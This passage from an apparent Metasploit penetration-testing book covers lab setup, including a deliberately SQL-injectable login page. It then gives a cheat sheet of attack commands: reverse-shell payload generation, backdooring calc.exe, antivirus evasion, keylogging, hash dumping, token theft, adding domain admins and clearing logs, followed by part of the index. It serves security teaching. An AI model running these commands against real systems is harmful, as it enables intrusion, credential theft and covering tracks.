Finally, close the Configuration Manager and verify that everything is working properly by opening a command prompt and running netstat -ano |find "1433" and netstat -ano |find "1434". Your IP addresses configured earlier should be listening on TCP port 1433 and UDP port 1434, as shown here:

Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>netstat -ano |find "1433"
TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING 512
TCP 192.168.1.155:1433 0.0.0.0:0 LISTENING 512
C:\Documents and Settings\Administrator>netstat -ano |find "1434"
UDP 0.0.0:1434 :
C:\Documents and Settings\Administrator>

Creating a Vulnerable Web Application

To use some of the more advanced features of Metasploit and external tools such as FastTrack and the Social-Engineer Toolkit (SET), you will need a vulnerable web application to test against. To create the database and tables, download and install SQL Server Management Studio Express from the link provided at http://www.nostarch.com/metasploit.htm.

After the installation and a healthy reboot, do the following:

1. Start the application by choosing Start ▸ All Programs ▸ Microsoft SQL Server 2005 ▸ SQL Server Management Studio Express.

2. When prompted for credentials, select SQL Server Authentication from the Authentication drop-down, and log in using the username sa and the password password1.

3. In Object Explorer, right-click Databases and select New Database.

4. For the Database name, enter WebApp and click OK.

5. Expand Databases and the WebApp database tree.

6. Right-click Tables and select New Table. Name your new table users with the column names and types shown in Figure A-3.

Figure A-3. Users table columns

7. Save the users table, and then right-click it and select Open Table.

8. Populate the table with some sample data similar to that shown in Figure A-4, and then save your work.

Figure A-4. Populated users table

9. Expand the Security tree under Object Explorer, and then expand Logins.

10. Right-click Logins in the User Properties window and select New Login. In the Login-New window, click Search, enter ASPNET, and then click Check Names. The full username should automatically populate. Click OK to exit the user search.

11. Finally, while still in the User Properties window, select User Mapping, select the check box next to WebApp, select the db_owner role membership, and then click OK.

That takes care of the entire configuration required on the SQL backend for the web application. Save and exit Management Studio.

All that remains is to create the website to interact with the database you created. Let’s do that now:

1. Download the vulnerable web application from http://www.nostarch.com/metasploit.htm and extract the contents of the archive to C:\Inetpub\wwwroot\.

2. Open your browser and point to http://<youripaddress>/Default.aspx. You should see a log-in form, as shown in Figure A-5.

3. Enter bogus credentials to verify that the SQL query is being executed properly. To test some basic SQL injection to identify whether the web application is functioning properly, enter a single quote (') in the username field, and enter anything as the password (doesn’t matter). The application should produce a yellow page with a SQL-related error.

4. Click the back arrow on your browser and enter OR 1=1-- and something (doesn’t matter) in the password field. You should see a “You have successfully logged on” message.

If you have gotten this far, everything is set up properly, and you are ready to plunge in.

Figure A-5. Sample attack website

Updating Back|Track

As with any operating system, make sure you’re running the latest version of Back|Track and its tools. When logging into Back|Track (root/toor), issue the following commands:

root@bt:˜# apt-get update && apt-get upgrade && apt-get dist-upgrade

This sequence of commands will select all available updates within Back|Track. After you have updated Back|Track by entering y (for yes) when prompted to accept the SVN certificate, your system still needs some minor updates to Metasploit, FastTrack, and the SET.

root@bt:˜# cd optframework3/msf3/
root@bt:optframework3/msf3# msfupdate

. . . SNIP . . .

Updated to revision XXXX.
root@bt:optframework3/msf3# cd pentestexploits/set/
root@bt:pentestexploits/set# svn update

. . . SNIP . . .

Updated to revision XXXX.
root@bt:pentestexploits/set# cd pentestexploits/fasttrack/
root@bt:pentestexploits/fasttrack# svn update

. . . SNIP . . .

At revision XXXX.
root@bt:pentestexploits/fasttrack#

In Back|Track, Metasploit is located at optframework3/msf3/ , so change to that directory prior to updating the Framework via subversion with msfupdate .

Once Metasploit is updated, change to pentestexploits/set/ and run svn update. Lastly, change to pentestexploits/fasttrack/ and update FastTrack.

You have now created and updated the testing environment that you will use as you work through the examples in this book.

Appendix B. Cheat Sheet

Here is a reference for the most frequently used commands and syntax within Metasploit’s various interfaces and utilities. See Meterpreter Post Exploitation Commands in MSFencode Commands for some all-in-one commands that will make your life easier.

MSFconsole Commands

show exploits

Show all exploits within the Framework.

show payloads

Show all payloads within the Framework.

show auxiliary

Show all auxiliary modules within the Framework.

search name

Search for exploits or modules within the Framework.

info

Load information about a specific exploit or module.

use name

Load an exploit or module (example: use windows/smb/psexec).

LHOST

Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.

RHOST

The remote host or the target.

set function

Set a specific value (for example, LHOST or RHOST).

setg function

Set a specific value globally (for example, LHOST or RHOST).

show options

Show the options available for a module or exploit.

show targets

Show the platforms supported by the exploit.

set target num

Specify a specific target index if you know the OS and service pack.

set payload payload

Specify the payload to use.

show advanced

Show advanced options.

set autorunscript migrate -f

Automatically migrate to a separate process upon exploit completion.

check

Determine whether a target is vulnerable to an attack.

exploit

Execute the module or exploit and attack the target.

exploit -j

Run the exploit under the context of the job. (This will run the exploit in the background.)

exploit -z

Do not interact with the session after successful exploitation.

exploit -e encoder

Specify the payload encoder to use (example: exploit -e shikata_ga_nai).

exploit -h

Display help for the exploit command.

sessions -l

List available sessions (used when handling multiple shells).

sessions -l -v

List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.

sessions -s script

Run a specific Meterpreter script on all Meterpreter live sessions.

sessions -K

Kill all live sessions.

sessions -c cmd

Execute a command on all live Meterpreter sessions.

sessions -u sessionID

Upgrade a normal Win32 shell to a Meterpreter console.

db_create name

Create a database to use with database-driven attacks (example: db_create autopwn).

db_connect name

Create and connect to a database for driven attacks (example: db_connect autopwn).

db_nmap

Use nmap and place results in database. (Normal nmap syntax is supported, such as -sT -v -P0.)

db_autopwn -h

Display help for using db_autopwn.

db_autopwn -p -r -e

Run db_autopwn against all ports found, use a reverse shell, and exploit all systems.

db_destroy

Delete the current database.

db_destroy user:password@host:port/database

Delete database using advanced options.

Meterpreter Commands

help

Open Meterpreter usage help.

run scriptname

Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.

sysinfo

Show the system information on the compromised target.

ls

List the files and folders on the target.

use priv

Load the privilege extension for extended Meterpreter libraries.

ps

Show all running processes and which accounts are associated with each process.

migrate PID

Migrate to the specific process ID (PID is the target process ID gained from the ps command).

use incognito

Load incognito functions. (Used for token stealing and impersonation on a target machine.)

list_tokens -u

List available tokens on the target by user.

list_tokens -g

List available tokens on the target by group.

impersonate_token DOMAIN_NAME\\USERNAME

Impersonate a token available on the target.

steal_token PID

Steal the tokens available for a given process and impersonate that token.

drop_token

Stop impersonating the current token.

getsystem

Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.

shell

Drop into an interactive shell with all available tokens.

execute -f cmd.exe -i

Execute cmd.exe and interact with it.

execute -f cmd.exe -i -t

Execute cmd.exe with all available tokens.

execute -f cmd.exe -i -H -t

Execute cmd.exe with all available tokens and make it a hidden process.

rev2self

Revert back to the original user you used to compromise the target.

reg command

Interact, create, delete, query, set, and much more in the target’s registry.

setdesktop number

Switch to a different screen based on who is logged in.

screenshot

Take a screenshot of the target’s screen.

upload file

Upload a file to the target.

download file

Download a file from the target.

keyscan_start

Start sniffing keystrokes on the remote target.

keyscan_dump

Dump the remote keys captured on the target.

keyscan_stop

Stop sniffing keystrokes on the remote target.

getprivs

Get as many privileges as possible on the target.

uictl enable keyboard/mouse

Take control of the keyboard and/or mouse.

background

Run your current Meterpreter shell in the background.

hashdump

Dump all hashes on the target.

use sniffer

Load the sniffer module.

sniffer_interfaces

List the available interfaces on the target.

sniffer_dump interfaceID pcapname

Start sniffing on the remote target.

sniffer_start interfaceID packet-buffer

Start sniffing with a specific range for a packet buffer.

sniffer_stats interfaceID

Grab statistical information from the interface you are sniffing.

sniffer_stop interfaceID

Stop the sniffer.

add_user username password -h ip

Add a user on the remote target.

add_group_user "Domain Admins" username -h ip

Add a username to the Domain Administrators group on the remote target.

clearev

Clear the event log on the target machine.

timestomp

Change file attributes, such as creation date (antiforensics measure).

reboot

Reboot the target machine.

MSFpayload Commands

msfpayload -h

List available payloads.

msfpayload windows/meterpreter/bind_tcp O

List available options for the windows/meterpreter/bind_tcp payload (all of these can use any payload).

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe

Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable named payload.exe.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw

Same as above, but export as raw format. This will be used later in msfencode.

msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c

Same as above but export as C-formatted shellcode.

msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java

Export as %u encoded JavaScript.

MSFencode Commands

msfencode -h

Display the msfencode help.

msfencode -l

List the available encoders.

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)

Format to display the encoded buffer.

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe.

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

Create a multi-encoded payload.

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

Create pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation.

MSFcli Commands

msfcli | grep exploit

Show only exploits.

msfcli | grep exploit/windows

Show only Windows exploits.

msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443.

MSF, Ninja, Fu

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

Create a reverse Meterpreter payload connecting back to 192.168.1.5 on port 443 using calc.exe as a template to backdoor. Keep execution flow within the application for it to continue to work, and output the shikata_ga_nai encoded payload to payload.exe.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe

Create a reverse Meterpreter payload connecting back to 192.168.1.5 on port 443 using calc.exe as a template to backdoor. Does not keep execution flow within the application and will not prompt anything back to the end user when it is executed. This is useful when you have remote access via a browser exploit and don’t want the calculator application popping up to the end user. Also outputs the shikata_ga_nai encoded payload to payload.exe.

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/handler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E

Create a bind_tcp Meterpreter payload in raw format, encode it seven times using shikata_ga_nai, output it in Windows portable executable format with a name of payload.exe, and then have a multi-handler listening for it to execute.

MSFvenom

Leverage msfvenom, an all-in-one suite, to create and encode your payload:

msfvenom --payload
windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai
LHOST=172.16.1.32 LPORT=443 > msf.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
root@bt://opt/framework3/msf3#

This one liner will create a payload and automatically generate it in an executable format.

Meterpreter Post Exploitation Commands

Elevate your permissions on Windows-based systems using Meterpreter:

meterpreter > use priv
meterpreter > getsystem

Steal a domain administrator token from a given process ID, add a domain account, and then add it to the Domain Admins group:

meterpreter > ps

meterpreter > steal_token 1784
meterpreter > shell

C:\Windows\system32>net user metasploit p@55w0rd ADD DOMAIN
C:\Windows\system32>net group "Domain Admins" metasploit ADD DOMAIN

Dump password hashes from the SAM database:

meterpreter > use priv
meterpreter > getsystem
meterpreter > hashdump

Note

On Win2k8 you may need to migrate to a process that is running as SYSTEM if -getsystem and hashdump throw exceptions.

Automigrate to a separate process:

meterpreter > run migrate

Kill antivirus processes running on the target via the killav Meterpreter script:

meterpreter > run killav

Capture keystrokes on target machines from within a particular process:

meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Use Incognito to impersonate an administrator:

meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > use priv
meterpreter > getsystem
meterpreter > list_tokens -u
meterpreter > impersonate_token IHAZSECURITY\\Administrator

See what protection mechanisms are in place on the compromised target, display the help menu, disable Windows Firewall, and kill all countermeasures found:

meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k

Identify whether the compromised system is a virtual machine:

meterpreter > run checkvm

Drop into a command shell for a current Meterpreter console session:

meterpreter > shell

Get a remote GUI (VNC) on the target machine:

meterpreter > run vnc

Background a currently running Meterpreter console:

meterpreter > background

Bypass Windows User Access Control:

meterpreter > run post/windows/escalate/bypassuac

Dump Hashes on an OS X system:

meterpreter > run post/osx/gather/hashdump

Dump Hashes on a Linux system:

meterpreter > run post/linux/gather/hashdump

Index

A note on the digital index

A link in an index entry is displayed as the section title in which that entry appears. Because some sections have multiple index markers, it is not unusual for an entry to have several links to the same section. Clicking on any link will take you directly to the place in the text in which the marker appears.

Symbols

--script=smb-check-vulns plug-in, Exploiting Your First Machine

-EncodedCommand command, Conversion from Hex to Binary, Conversion from Hex to Binary

-sI flag, Advanced Nmap Scanning: TCP Idle Scan

-sS flag, nmap, Port Scanning with Nmap

-sT flag, Exploiting Your First Machine

.pcap file format, Killing Antivirus Software

.pde file, Teensy USB HID Attack Vector

.vmx file, Installing and Setting Up the System

etcdhcp3/dhcpd.conf/ etc/dhcp3/dhcpd.conf.back command, Karmetasploit

::Msf::Util::EXE.to_win32pe function, Creating Your Own Meterpreter Script

[target['Ret']].pack('V'), Implementing Features of the Framework

‘INJECTHERE, SQL injection, Microsoft SQL Injection

‘Space’ declaration, Hopping Around SEH Restrictions

‘Targets’ section, Hopping Around SEH Restrictions, Getting a Return Address, Implementing Features of the Framework, Implementing Features of the Framework, SEH Overwrite Exploit

A
active information gathering, NSLookup

ActiveX control, malicious, Getting a Shell

Add/Remove Windows Components, Windows Components Wizard, Setting Up a Vulnerable Windows XP Installation

Address Resolution Protocol (ARP), Mass Client-Side Attack

add_group_user command, Using ps, Meterpreter Commands

add_user command, Using ps, Meterpreter Commands

Administrator user account, Extracting the Password Hashes

Adobe file format exploit, Spear-Phishing Attack Vector, Mass Client-Side Attack

Adobe Flash, zero-day vulnerability, Exploitation Using Client-Side Attacks, Java Applet

advanced service enumeration, Port Scanning with Nmap

airbase-ng component, Configuration

-C 30 option, Configuration

-v option, Configuration

Aircrack-ng website, Configuration

airmon-ng start wlan0 command, Configuration

anonymous logins, scanner/ftp/anonymous, FTP Scanning

antivirus, Avoiding Detection

avoiding detection from, Avoiding Detection

creating stand-alone binaries with msfpayload, Avoiding Detection

encoding with msfencode, Encoding with MSFencode

using custom executable templates, Custom Executable Templates

using multi-encoding, Encoding with MSFencode

using packers, Launching a Payload Stealthily

processes, killing, Meterpreter Post Exploitation Commands

APACHE_SERVER flag, Configuring the Social-Engineer Toolkit

API (application programming interface), for Meterpreter scripts, Meterpreter API

base API calls, Printing Output

Meterpreter mixins, Printing Output

printing output, Meterpreter API

Arduino interface, Teensy USB HID Attack Vector

armitage, Armitage

ARP (Address Resolution Protocol), Mass Client-Side Attack

assembly languages, Assembly Language Basics

attack vectors, whois Lookups, Configuring the Social-Engineer Toolkit

Attempt SQL Ping and Auto Quick Brute Force option, FastTrack, MSSQL Bruter

Aurora attack vector, Client-Side Web Exploits

Authentication Mode, SQL Server, Building a SQL Server

autoexploit.rc file, Resource Files

Automatic Targeting option, msf> show payloads

Automatic Updates option, Windows XP, Setting Up a Vulnerable Windows XP Installation

Autopwn Automation menu, FastTrack

autopwn exploits, Launching the Attack

Autopwn tool, using results in, Scanning for Open X11 Servers

autorun.inf file, Putting It All Together with a Multipronged Attack

auxiliary class, Anatomy of an Auxiliary Module

auxiliary modules, Metasploit Auxiliary Modules

anatomy of, Auxiliary Modules in Use

defined, Exploit

in use, Metasploit Auxiliary Modules

Auxiliary run method, Simple Network Management Protocol Sweeping

Auxiliary::Scanner mixin, Simple Network Management Protocol Sweeping

B
back command, The Joy of Exploitation

backdoored executable, Launching a Payload Stealthily

background command, Privilege Escalation, Meterpreter Commands

Back|Track, Installing and Setting Up the System

downloading, Configuring Your Target Machines

updating, Creating a Vulnerable Web Application

bad characters, MSFencode

and creating exploits, Getting a Return Address

avoiding, MSFpayload

banner grabbing, Port Scanning with Nmap, The Basic Vulnerability Scan

Base64, Encoding with MSFencode, PowerShell, Conversion from Hex to Binary

bin/dict/wordlist.txt file, FastTrack, MSSQL Bruter

binaries, creating with msfpayload, Avoiding Detection

Binary paste option, Immunity Debugger window, Using Immunity Debugger to Decipher NOP Shellcode

Binary to Hex Payload Converter, FastTrack, Binary-to-Hex Generator

binary-to-hex generator, FastTrack tool, Binary-to-Hex Generator

bind shell, Payload, Exploiting an Ubuntu Machine

bind_tcp format, Using Immunity Debugger to Decipher NOP Shellcode

bind_tcp payload, MSFencode Commands

blank password, Scanning for Open VNC Authentication, Dumping the Password Hash

Blowfish encryption algorithm, RATTE, Additional SET Features

breakpoint, in Immunity Debugger window, Using Immunity Debugger to Decipher NOP Shellcode

browser exploit menu, armitage, Sample Usage

browser-based exploits, Browser-Based Exploits

browser_autopwn server, Configuration

brute force attack, Apache Tomcat, Identifying Vulnerable Services

brute forcing ports, Exploiting an Ubuntu Machine

buffer overflow exploits, porting to Metasploit, Assembly Language Basics

adding randomization, Implementing Features of the Framework

completed module, Removing the Dummy Shellcode

configuring exploit definition, Stripping the Existing Exploit

implementing features of the Framework, Implementing Features of the Framework

removing dummy shellcode, Adding Randomization

removing NOP Slide, Adding Randomization

stripping existing exploit, Stripping the Existing Exploit

testing base exploit, Configuring the Exploit Definition

Burp Suite, Intelligence Gathering

C

C-style output, MSFpayload

captive portal, Karmetasploit, Credential Harvesting

check command, MSFconsole Commands

Check Names button, Login-New window, Creating a Vulnerable Web Application

CIDR (Classless Inter-Domain Routing) notation, Importing Nmap Results into Metasploit, Running NeXpose Within MSFconsole

clearev command, Meterpreter Commands

client-side attacks, Exploitation Using Client-Side Attacks

browser-based exploits, Browser-Based Exploits

file format exploits, File Format Exploits

Internet Explorer Aurora exploit, Exploring the Internet Explorer Aurora Exploit

sending malicious file, File Format Exploits

web exploits, Client-Side Web Exploits

client.framework.payloads.create(payload) function, Creating Your Own Meterpreter Script

cmd variable, Exploring an Existing Metasploit Module

cmd_exec(cmd) function, Printing Output

cnt counter, Conversion from Hex to Binary

code reuse, and modules, The Power of Code Reuse

Collab.collectEmailInfo Adobe vulnerability, Spear-Phishing Attack Vector

command shell, dropping into, Meterpreter Post Exploitation Commands

commands, Basic Meterpreter Commands, MSFconsole Commands

for Meterpreter, The xp_cmdshell, MSFconsole Commands

keystroke logging, Capturing Keystrokes

post exploitation, Meterpreter Post Exploitation Commands

screenshot command, The xp_cmdshell

sysinfo command, Capturing a Screenshot

for msfcli, MSFencode Commands

for msfconsole, Cheat Sheet

for msfencode, MSFpayload Commands

for msfpayload, MSFpayload Commands

Common Vulnerabilities and Exposures (CVE) numbers, Importing Your Report into the Metasploit Framework

community strings, Simple Network Management Protocol Sweeping

Conficker worm, msf> show options

connect command, MSFconsole

Convert::ToByte, Conversion from Hex to Binary

copycat domain name, Spear-Phishing Attack Vector

covert penetration testing, Post Exploitation, Covert Penetration Testing

Credential Harvester option, SET main menu, Username and Password Harvesting

credential harvesting, Username and Password Harvesting, Putting It All Together with a Multipronged Attack, Launching the Attack

credentialed scan, Running NeXpose Within MSFconsole

cross-site scripting (XSS) vulnerability, Man-Left-in-the-Middle

ctrl-C shortcut, Username and Password Harvesting

ctrl-W shortcut, in Nano, Exploring an Existing Metasploit Module

ctrl-Z shortcut, Privilege Escalation, Upgrading Your Command Shell to Meterpreter

custom scanners, for intelligence gathering, Simple Network Management Protocol Sweeping

CVE (Common Vulnerabilities and Exposures) numbers, The New Report Wizard

D

Dai Zovi, Dino, Karmetasploit

Data Execution Prevention (DEP), Exploiting Your First Machine

data/templates/template.exe template, Custom Executable Templates

databases, working with in Metasploit, Working with Databases in Metasploit

db_autopwn command, Scanning for Open X11 Servers, MSFconsole Commands

db_connect command, The New Report Wizard, Importing Your Report into the Metasploit Framework, Nessus Reports, Importing Results into the Metasploit Framework, Scanning for Open X11 Servers, MSFconsole Commands

db_create name command, MSFconsole Commands

db_destroy command, Importing Your Report into the Metasploit Framework, Importing Results into the Metasploit Framework, MSFconsole Commands

db_hosts command, Working with Databases in Metasploit, Server Message Block Scanning, The New Report Wizard, Running NeXpose Within MSFconsole, Nessus Reports, Scanning with Nessus from Within Metasploit

db_import command, Working with Databases in Metasploit, The New Report Wizard, Nessus Reports, Scanning for Open X11 Servers

db_nmap command, Running Nmap from MSFconsole, MSFconsole Commands

db_owner role membership, User Properties window, Creating a Vulnerable Web Application

db_services command, Running Nmap from MSFconsole

db_status command, Working with Databases in Metasploit

db_vulns command, Running NeXpose Within MSFconsole, Importing Results into the Metasploit Framework

debug command, Running the Shell Exploit

def exploit line, Running the Shell Exploit

def inject function, Meterpreter Scripting Basics

def powershell_upload_exec function, Running the Shell Exploit

Defcon 18 Hacking Conference, Building Your Own Module

DEP (Data Execution Prevention), Exploiting Your First Machine

desktop screen captures, The xp_cmdshell

DHCP (Dynamic Host Configuration Protocol) server, Karmetasploit

dhcpd.conf file, Karmetasploit

DistCC, Attacking Obscure Services

DNS (Domain Name System), whois Lookups, Mass Client-Side Attack

domain administrator token, stealing, Meterpreter Post Exploitation Commands

Domain Admins group, Meterpreter Post Exploitation Commands

Domain Name System (DNS), whois Lookups, Mass Client-Side Attack

download file command, Meterpreter Commands

Drake, Joshua, Brute Forcing MS SQL Server

drop_token command, Meterpreter Commands

dummy shellcode, Implementing Features of the Framework, SEH Overwrite Exploit

dumping password hashes, Extracting the Password Hashes

Dynamic Host Configuration Protocol (DHCP) server, Karmetasploit

dynamic memory allocation, Exploiting an Ubuntu Machine

dynamic ports, Manual Injection

E
eb operation code, Getting a Return Address

egg hunter, Hopping Around SEH Restrictions

EHLO command, Stripping the Existing Exploit

EIP (extended instruction pointer) register, Assembly Language Basics, Porting a Buffer Overflow, Stripping the Existing Exploit, Configuring the Exploit Definition

Encase, Covering Your Tracks

encoders, MSFencode

endian-ness, Getting a Return Address, Implementing Features of the Framework

error message, SQL injection, Exploitation

ESP registers, Assembly Language Basics

ESSID, Launching the Attack

Ettercap, Mass Client-Side Attack

eventlog_clear(evt = “”) function, Printing Output

eventlog_list() function, Printing Output

event_manager tool, Covering Your Tracks

evil string, Getting a Return Address

Excellent ranking, Scanning for Open X11 Servers

Autopwn tool, Scanning for Open X11 Servers

encoders, MSFencode

exe command, Running the Shell Exploit

execute -f cmd.exe command, Meterpreter Commands

execute_upload.rb file, Meterpreter Mixins

exploit command, Exploiting Your First Machine, Exploiting an Ubuntu Machine, Pivoting onto Other Systems, Upgrading Your Command Shell to Meterpreter, Getting Command Execution on Microsoft SQL, MSFconsole Commands

Exploit Database site, Creating Your Own Exploits

exploit module, Module

exploit section, Hopping Around SEH Restrictions

exploit-db, to identify potential vulnerabilities, Identifying Vulnerable Services

exploitation, The Joy of Exploitation

brute forcing ports, Exploiting an Ubuntu Machine

client-side attacks, Exploitation Using Client-Side Attacks

browser-based exploits, Browser-Based Exploits

file format exploits, File Format Exploits

Internet Explorer Aurora exploit, Exploring the Internet Explorer Aurora Exploit

sending a malicious file, File Format Exploits

creating exploits, Creating Your Own Exploits

and bad characters, Getting a Return Address

and fuzzing, Creating Your Own Exploits

and SEH restrictions, Hopping Around SEH Restrictions

controlling SEH, The Art of Fuzzing

getting return address for, Hopping Around SEH Restrictions

defined, Exploit

for Ubuntu, Exploiting Your First Machine

for Windows XP SP2, setg and unsetg

phase of PTES, Threat Modeling

resource files for, All-Ports Payloads: Brute Forcing Ports

simulated penetration test, Exploitation, Customizing MSFconsole

Exploits Database, Attacking Obscure Services

Exploits menu, FastTrack

explorer.exe process, Capturing Keystrokes

extended instruction pointer (EIP) register, Assembly Language Basics, Porting a Buffer Overflow, Stripping the Existing Exploit, Configuring the Exploit Definition

extracting password hashes, Capturing Keystrokes

F
false negatives, in vulnerability scans, Vulnerability Scanning

false positives, in vulnerability scans, Vulnerability Scanning

FastTrack tool, FastTrack

binary-to-hex generator, Binary-to-Hex Generator

defined, Brute Forcing MS SQL Server

main menu, SQLPwnage

BLIND SQL Injection attacks, SQLPwnage

ERROR BASED SQL Injection attacks, SQLPwnage

Mass Client-Side Attack option, Meterpreter

Metasploit Meterpreter Reflective Reverse TCP option, SQLPwnage

mass client-side attack, Mass Client-Side Attack

Microsoft SQL injection with, FastTrack

manual injection, SQL Injector — POST Parameter Attack

MSSQL Bruter, MSSQL Bruter

POST parameter attack, SQL Injector — POST Parameter Attack

query string attack, Microsoft SQL Injection

SQLPwnage, SQLPwnage

fasttrack-launching command, FastTrack

file exploits, Exploring the Internet Explorer Aurora Exploit

file format exploits, File Format Exploits

sending a malicious file, File Format Exploits

file format vulnerability, Sending the Payload

File Transfer Protocol (FTP), FTP Scanning

scanning, FTP Scanning

service, Configuring Your Web Server on Windows XP

Find SQL Ports option, FastTrack, MSSQL Bruter

fingerprinting targets, Overt Penetration Testing

Follow address in stack option, Immunity Debugger, The Art of Fuzzing

forensics analysis, Covering Your Tracks

Foursquare credentials, Anatomy of an Auxiliary Module

Foursquare service, Anatomy of an Auxiliary Module

FTP (File Transfer Protocol), FTP Scanning

scanning, FTP Scanning

service, Configuring Your Web Server on Windows XP

FTP (File Transfer Protocol) Service checkbox, Setting Up a Vulnerable Windows XP Installation

ftp_version module, FTP Scanning

Furr, Joey, FastTrack

fuzz string, The Art of Fuzzing

fuzzed variable, The Art of Fuzzing

fuzzers directory, Metasploit Auxiliary Modules

fuzzing, Creating Your Own Exploits

G

Gates, Chris, Anatomy of an Auxiliary Module

generate_seh_payload function, SEH Overwrite Exploit

generic/debug_trap payload, Getting a Return Address, Configuring the Exploit Definition

GET HTTP request, Vulnerability Scanning

getgui script, Customizing MSFconsole

getprivs command, Meterpreter Commands

getsystem command, Privilege Escalation, Exploring the Internet Explorer Aurora Exploit, Creating Your Own Meterpreter Script, Meterpreter Commands, Meterpreter Post Exploitation Commands

getuid command, Privilege Escalation

Google, to identify potential vulnerabilities, Identifying Vulnerable Services

H
h2b conversion method, Conversion from Hex to Binary

Hadnagy, Chris, The Social-Engineer Toolkit

hashdump command, Extracting the Password Hashes, Dumping the Password Hash, Killing Antivirus Software, Using Persistence, Meterpreter Commands, Meterpreter Post Exploitation Commands

hashdump post exploitation module, Capturing Keystrokes

haystack, How Browser-Based Exploits Work

heap, How Browser-Based Exploits Work

heap spraying technique, How Browser-Based Exploits Work

heap-based attack, Exploiting an Ubuntu Machine

help command, MSFconsole, Importing Your Report into the Metasploit Framework, The xp_cmdshell, MSFconsole Commands

hex-blob, Building Your Own Module

host_process.memory.allocate function, Meterpreter Scripting Basics

host_process.memory.write function, Meterpreter Scripting Basics

host_process.thread.create function, Meterpreter Scripting Basics

HTTP (HyperText Transfer Protocol), Tabnabbing

man-left-in-the-middle attack, Man-Left-in-the-Middle

PUT command, Attacking Obscure Services

PUT method, Attacking Apache Tomcat

HVE, Patrick, Upgrading Your Command Shell to Meterpreter

HyperText Transfer Protocol (HTTP). See HTTP (Hyper Text Transfer Protocol), Port Scanning with Nmap

I

ICMP (Internet Control Message Protocol), Port Scanning with Nmap

IDS (intrusion detection systems), MSFpayload, NSLookup, SEH Overwrite Exploit

idx counter, Conversion from Hex to Binary

iexplorer.exe, Using Immunity Debugger to Decipher NOP Shellcode, Exploring the Internet Explorer Aurora Exploit, Meterpreter Scripting Basics

iframe injection, Client-Side Web Exploits

iframe replacement, Web Jacking

IIS (Internet Information Server), Setting Up a Vulnerable Windows XP Installation

IMAP (Internet Message Access Protocol) fuzzer, Creating Your Own Exploits

Immunity Debugger, Using Immunity Debugger to Decipher NOP Shellcode, The Art of Fuzzing, The Art of Fuzzing, Getting a Return Address

F2 shortcut, Using Immunity Debugger to Decipher NOP Shellcode, Using Immunity Debugger to Decipher NOP Shellcode, Getting a Return Address

F5 shortcut, Using Immunity Debugger to Decipher NOP Shellcode

F7 shortcut, Using Immunity Debugger to Decipher NOP Shellcode, Getting a Return Address

impersonate_token DOMAIN_NAME\\USERNAME command, Meterpreter Commands

INC ECX instructions, Getting a Return Address

include Msf::Exploit::Remote::BrowserAutopwn: directive, Configuration

include statement, Exploring an Existing Metasploit Module

incognito command, Using ps, Meterpreter Post Exploitation Commands

incremental IP IDs, Advanced Nmap Scanning: TCP Idle Scan

indirect information gathering, Intelligence Gathering

Infectious Media Generator, Infectious Media Generator

info command, info, Metasploit Auxiliary Modules, Anatomy of an Auxiliary Module, Hopping Around SEH Restrictions, Cheat Sheet

init.d scripts, Working with Databases in Metasploit

initialization constructor, Anatomy of an Auxiliary Module

insecure.org site, Customizing MSFconsole

INT3 instructions, Implementing Features of the Framework, Removing the NOP Slide

Intel x86 architecture, NOP, How Browser-Based Exploits Work, Looking at NOPs

intelligence gathering, Intelligence Gathering

active information gathering, port scanning, NSLookup

custom scanners for, Simple Network Management Protocol Sweeping

passive information gathering, Passive Information Gathering

using Netcraft, whois Lookups

using nslookup, NSLookup

whois lookups, Intelligence Gathering

phase of PTES, The Phases of the PTES

simulated penetration test, Simulated Penetration Test

targeted scanning, Port Scanning with Metasploit

for Microsoft SQL Servers, Server Message Block Scanning

FTP scanning, FTP Scanning

SMB scanning, Port Scanning with Metasploit

SNMP sweeping, Simple Network Management Protocol Sweeping

SSH server scanning, Hunting for Poorly Configured Microsoft SQL Servers

interactive Ruby shell, Meterpreter API

interfaces, for Metasploit, Exploit

armitage, Sample Usage

msfcli, MSFconsole

msfconsole, MSFconsole

Internet Control Message Protocol (ICMP), Port Scanning with Nmap

